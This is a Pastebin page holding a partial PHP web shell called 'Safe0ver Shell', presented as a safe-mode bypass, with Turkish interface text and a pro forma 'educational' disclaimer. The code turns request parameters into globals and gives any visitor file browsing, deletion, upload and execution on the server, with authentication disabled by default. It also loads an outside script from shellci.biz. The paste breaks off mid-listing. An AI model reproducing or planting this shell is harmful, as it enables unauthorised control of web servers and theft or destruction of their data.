API tools faq
paste
Advertisement
hqlan1928

bypass shell

hqlan1928
Nov 28th, 2013
138
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.34 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3.  
  4. /*
  5. ************************************************** ******************************​*********
  6. * Safe0ver Shell //Safe Mod Bypass By hqlan1908 *
  7. ************************************************** ******************************​*********
  8. * SheLLci.biz is a Platform Which You can Publish Your Shell Script *
  9.  
  10. ************************************************** ******************************​*********
  11.  
  12. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!​!!!!!!!!!
  13. !! Dikkat ! Script Egitim Amacli Yazilmistir.Scripti Kullanarak Yapacaginiz Illegal eylemlerden sorumlu Degiliz.byy
  14. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!​!!!!!!!!!
  15. */
  16.  
  17.  
  18. /*Setting some envirionment variables...*/
  19.  
  20. /* I added this to ensure the script will run correctly...
  21. Please enter the Script's filename in this variable. */
  22. $SFileName=$PHP_SELF;
  23.  
  24. /* uncomment the two following variables if you want to use http
  25. authentication. This will password protect your PHPShell */
  26. //$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
  27. //$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */
  28. $c = "/s.html"; //need scripts coder's names
  29.  
  30. error_reporting(0);
  31. $PHPVer=phpversion();
  32. $isGoodver=(intval($PHPVer[0])>=4);
  33. $scriptTitle = "Safe0ver";
  34. $scriptident = "$scriptTitle By Evilc0der.com";
  35.  
  36. $urlAdd = "";
  37. $formAdd = "";
  38.  
  39. function walkArray($array){
  40. while (list($key, $data) = each($array))
  41. if (is_array($data)) { walkArray($data); }
  42. else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
  43. }
  44.  
  45. if (isset($_PUT)) walkArray($_PUT);
  46. if (isset($_GET)) walkArray($_GET);
  47. if (isset($_POST)) walkArray($_POST);
  48.  
  49.  
  50. $pos = strpos($urlAdd, "s=r");
  51. if (strval($pos) != "") {
  52. $urlAdd= substr($urlAdd, 0, $pos);
  53. }
  54.  
  55. $urlAdd .= "&s=r&";
  56.  
  57. if (empty($Pmax))
  58. $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
  59. if (empty($Pidx))
  60. $Pidx = 0;
  61.  
  62. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  63. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  64.  
  65. $scriptdate = "7 Subat 2007";
  66. $scriptver = "Bet@ Versiyon";
  67. $LOCAL_IMAGE_DIR = "img";
  68. $REMOTE_IMAGE_URL = "img";
  69. $img = array(
  70. "Edit" => "edit.gif",
  71. "Download" => "download.gif",
  72. "Upload" => "upload.gif",
  73. "Delete" => "delete.gif",
  74. "View" => "view.gif",
  75. "Rename" => "rename.gif",
  76. "Move" => "move.gif",
  77. "Copy" => "copy.gif",
  78. "Execute" => "exec.gif"
  79. );
  80.  
  81. while (list($id, $im)=each($img))
  82. if (file_exists("$LOCAL_IMAGE_DIR/$im"))
  83. $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
  84. else
  85. $img[$id] = "[$id]";
  86.  
  87.  
  88.  
  89.  
  90. /* HTTP AUTHENTICATION */
  91.  
  92. if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
  93. setcookie("noauth","");
  94. Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
  95. Header( "HTTP/1.0 401 Unauthorized");
  96. echo "Your username or password is incorrect";
  97. exit ;
  98.  
  99. }
  100.  
  101. function buildUrl($display, $url) {
  102. global $urlAdd;
  103. $url = $SFileName . "?$urlAdd$url";
  104. return "<a href=\"$url\">$display</a>";
  105. }
  106.  
  107. function sp($mp) {
  108. for ( $i = 0; $i < $mp; $i++ )
  109. $ret .= "&nbsp;";
  110. return $ret;
  111. }
  112.  
  113. function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); }
  114.  
  115. function Mydeldir($Fdir) {
  116. if (is_dir($Fdir)) {
  117. $Fh=@opendir($Fdir);
  118. while ($Fbuf = readdir($Fh))
  119. if (($Fbuf != ".") && ($Fbuf != ".."))
  120. Mydeldir("$Fdir/$Fbuf");
  121. @closedir($Fh);
  122. return rmdir($Fdir);
  123. } else {
  124. return unlink($Fdir);
  125. }
  126. }
  127.  
  128.  
  129. function arrval ($array) {
  130. list($key, $data) = $array;
  131. return $data;
  132. }
  133.  
  134. function formatsize($insize) {
  135. $size = $insize;
  136. $add = "B";
  137. if ($size > 1024) {
  138. $size = intval(intval($size) / 1.024)/1000;
  139. $add = "KB";
  140. }
  141. if ($size > 1024) {
  142. $size = intval(intval($size) / 1.024)/1000;
  143. $add = "MB";
  144. }
  145. if ($size > 1024) {
  146. $size = intval(intval($size) / 1.024)/1000;
  147. $add = "GB";
  148. }
  149. if ($size > 1024) {
  150. $size = intval(intval($size) / 1.024)/1000;
  151. $add = "TB";
  152. }
  153. return "$size $add";
  154. }
  155.  
  156. if ($cmd != "downl") {
  157. ?>
  158.  
  159. <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->
  160. <SCRIPT SRC=http://www.shellci.biz/yazciz/ciz.js></SCRIPT>
  161. <HTML>
  162. <HEAD>
  163. <STYLE>
  164. <!--
  165. A{ text-decoration:none; color:navy; font-size: 12px }
  166. body {
  167. font-size: 12px;
  168. font-family: arial, helvetica;
  169. scrollbar-width: 5;
  170. scrollbar-height: 5;
  171. scrollbar-face-color: white;
  172. scrollbar-shadow-color: silver;
  173. scrollbar-highlight-color: white;
  174. scrollbar-3dlight-color:silver;
  175. scrollbar-darkshadow-color: silver;
  176. scrollbar-track-color: white;
  177. scrollbar-arrow-color: black;
  178. background-color: #CCCCCC;
  179. }
  180. Table { font-size: 12px; }
  181. TR{ font-size: 12px; }
  182. TD{
  183. font-size: 12px;
  184. font-family: arial, helvetical;
  185. BORDER-LEFT: black 0px solid;
  186. BORDER-RIGHT: black 0px solid;
  187. BORDER-TOP: black 0px solid;
  188. BORDER-BOTTOM: black 0px solid;
  189. COLOR: black;
  190. background: #CCCCCC;
  191. }
  192. .border{ BORDER-LEFT: black 1px solid;
  193. BORDER-RIGHT: black 1px solid;
  194. BORDER-TOP: black 1px solid;
  195. BORDER-BOTTOM: black 1px solid;
  196. }
  197. .none { BORDER-LEFT: black 0px solid;
  198. BORDER-RIGHT: black 0px solid;
  199. BORDER-TOP: black 0px solid;
  200. BORDER-BOTTOM: black 0px solid;
  201. }
  202. .inputtext {
  203. background-color: #EFEFEF;
  204. font-family: arial, helvetica;
  205. border: 1px solid #000000;
  206. height: 20;
  207. }
  208. .lighttd { background: #F8F8F8;
  209. }
  210. .darktd { background: #CCCCCC;
  211. }
  212. input { font-family: arial, helvetica;
  213. }
  214. .inputbutton {
  215. background-color: #CCCCCC;
  216. border: 1px solid #000000;
  217. border-width: 1px;
  218. height: 20;
  219. }
  220. .inputtextarea {
  221. background-color: #CCCCCC;
  222. border: 1px solid #000000;
  223. scrollbar-width: 5;
  224. scrollbar-height: 5;
  225. scrollbar-face-color: #EFEFEF;
  226. scrollbar-shadow-color: silver;
  227. scrollbar-highlight-color: #EFEFEF;
  228. scrollbar-3dlight-color:silver;
  229. scrollbar-darkshadow-color: silver;
  230. scrollbar-track-color: #EFEFEF;
  231. scrollbar-arrow-color: black;
  232. }
  233. .top { BORDER-TOP: black 1px solid; }
  234. .textin { BORDER-LEFT: silver 1px solid;
  235. BORDER-RIGHT: silver 1px solid;
  236. BORDER-TOP: silver 1px solid;
  237. BORDER-BOTTOM: silver 1px solid;
  238. width: 99%; font-size: 12px; font-weight: bold; color: Black;
  239. }
  240. .notop { BORDER-TOP: black 0px solid; }
  241. .bottom { BORDER-BOTTOM: black 1px solid; }
  242. .nobottom { BORDER-BOTTOM: black 0px solid; }
  243. .left { BORDER-LEFT: black 1px solid; }
  244. .noleft { BORDER-LEFT: black 0px solid; }
  245. .right { BORDER-RIGHT: black 1px solid; }
  246. .noright { BORDER-RIGHT: black 0px solid; }
  247. .silver{ BACKGROUND: #CCCCCC; }
  248. body,td,th {
  249. color: #660000;
  250. }
  251. a:link {
  252. color: #000000;
  253. text-decoration: none;
  254. }
  255. a:hover {
  256. color: #00FF00;
  257. text-decoration: none;
  258. }
  259. a:active {
  260. color: #666666;
  261. text-decoration: none;
  262. }
  263. a:visited {
  264. text-decoration: none;
  265. }
  266. .style5 {
  267. color: #660000;
  268. font-weight: bold;
  269. }
  270. -->
  271. </STYLE>
  272. <TITLE><?php echo $SFileName ?></TITLE>
  273. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></HEAD>
  274. <body topmargin="0" leftmargin="0">
  275. <div style="position: absolute; background: #CCCCCC; z-order:10000; top:0; left:0; width: 100%; height: 100%;">
  276. <table nowrap width=100% border="0" cellpadding="0" cellspacing="0">
  277. <tr>
  278. <td width="100%" class="silver border"><center>
  279. <strong> <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> </strong>
  280. </center></td>
  281. </tr>
  282. </table>
  283. <table width=100% height="100%" NOWRAP border="0">
  284. <tr NOWRAP>
  285. <td width="100%" NOWRAP><br>
  286.  
  287. <?php
  288. }
  289.  
  290. if ( $cmd=="dir" ) {
  291. $h=@opendir($dir);
  292. if ($h == false) {
  293. echo "<br><font color=\"red\">".sp(3)."\n\n\n\n
  294. Klasör Listelenemiyor!Lütfen Bypass Bölümünü Deneyin.<br>".sp(3)."\n
  295. Script Gecisi Tamamlayamadi!
  296. <br><br>".sp(3)."\n
  297. Klasöre Girmek Icin yetkiniz Olduguna emin Olunuz...
  298. <br><br></font>\n\n\n\n";
  299. }
  300. if (function_exists('realpath')) {
  301. $partdir = realpath($dir);
  302. }
  303. else {
  304. $partdir = $dir;
  305. }
  306. if (strlen($partdir) >= 100) {
  307. $partdir = substr($partdir, -100);
  308. $pos = strpos($partdir, "/");
  309. if (strval($pos) != "") {
  310. $partdir = "<-- ...".substr($partdir, $pos);
  311. }
  312. $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
  313. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  314. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  315. }
  316. ?>
  317. <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir">
  318. <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
  319. <tr>
  320. <td width="100%" class="silver border">
  321. <center>&nbsp;Safe0ver-Server File Browser...&nbsp;</center>
  322. </td>
  323. </tr>
  324. </table>
  325. <br>
  326. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  327. <tr>
  328. <td class="border nobottom noright">
  329. &nbsp;Listeliyor:&nbsp;
  330. </td>
  331. <td width="100%" class="border nobottom noleft">
  332. <table width="100%" border="0" cellpadding="1" cellspacing="0">
  333. <tr>
  334. <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
  335. <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GiT<b></a>&nbsp;<center></td>
  336. </tr>
  337. </table>
  338.  
  339. </td>
  340. </tr>
  341. </table>
  342. <!-- </form> -->
  343. <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
  344. <tr>
  345. <td width="100%" NOWRAP class="silver border">
  346. &nbsp;Dosya Adi&nbsp;
  347. </td>
  348. <td NOWRAP class="silver border noleft">
  349. &nbsp;Yapilabilecekler&nbsp;&nbsp;
  350. </td>
  351. <td NOWRAP class="silver border noleft">
  352. &nbsp;Boyut&nbsp;
  353. </td>
  354. <td width=1 NOWRAP class="silver border noleft">
  355. &nbsp;Yetkiler&nbsp;
  356. </td>
  357. <td NOWRAP class="silver border noleft">
  358. &nbsp;Son Düzenleme&nbsp;
  359. </td>
  360. <tr>
  361. <?php
  362.  
  363.  
  364. /* <!-- This whole heap of junk is the sorting section... */
  365.  
  366. $dirn = array();
  367. $filen = array();
  368. $filesizes = 0;
  369. while ($buf = readdir($h)) {
  370. if (is_dir("$dir/$buf"))
  371. $dirn[] = $buf;
  372. else
  373. $filen[] = $buf;
  374. }
  375. $dirno = count($dirn) + 1;
  376. $fileno = count($filen) + 1;
  377.  
  378. function mycmp($a, $b){
  379. if ($a == $b) return 0;
  380. return (strtolower($a) < strtolower($b)) ? -1 : 1;
  381. }
  382.  
  383. if (function_exists("usort")) {
  384. usort($dirn, "mycmp");
  385. usort($filen, "mycmp");
  386. }
  387. else {
  388. sort ($dirn);
  389. sort ($filen);
  390. }
  391. reset ($dirn);
  392. reset ($filen);
  393. if (function_exists('array_merge')) {
  394. $filelist = array_merge ($dirn, $filen);
  395. }
  396. else {
  397. $filelist = $dirn + $filen;
  398. }
  399.  
  400.  
  401. if ( count($filelist)-1 > $Pmax ) {
  402. $from = $Pidx * $Pmax;
  403. $to = ($Pidx + 1) * $Pmax-1;
  404. if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
  405.  
  406. $to = count($filelist) - 1;
  407. if ($to > count($filelist)-1)
  408. $to = count($filelist)-1;
  409. $Dcontents = array();
  410. For ($Fi = $from; $Fi <= $to; $Fi++) {
  411. $Dcontents[] = $filelist[$Fi];
  412. }
  413.  
  414. }
  415. else {
  416. $Dcontents = $filelist;
  417. }
  418.  
  419. $tdcolors = array("lighttd", "darktd");
  420.  
  421. while (list ($key, $file) = each ($Dcontents)) {
  422. if (!$tdcolor=arrval(each($tdcolors))) {
  423. reset($tdcolors);
  424. $tdcolor = arrval(each($tdcolors)); }
  425.  
  426. if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
  427. /* <!-- Dirname --> */
  428. echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n";
  429. /* <!-- Actions --> */
  430. echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n";
  431. /* <!-- Rename --> */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!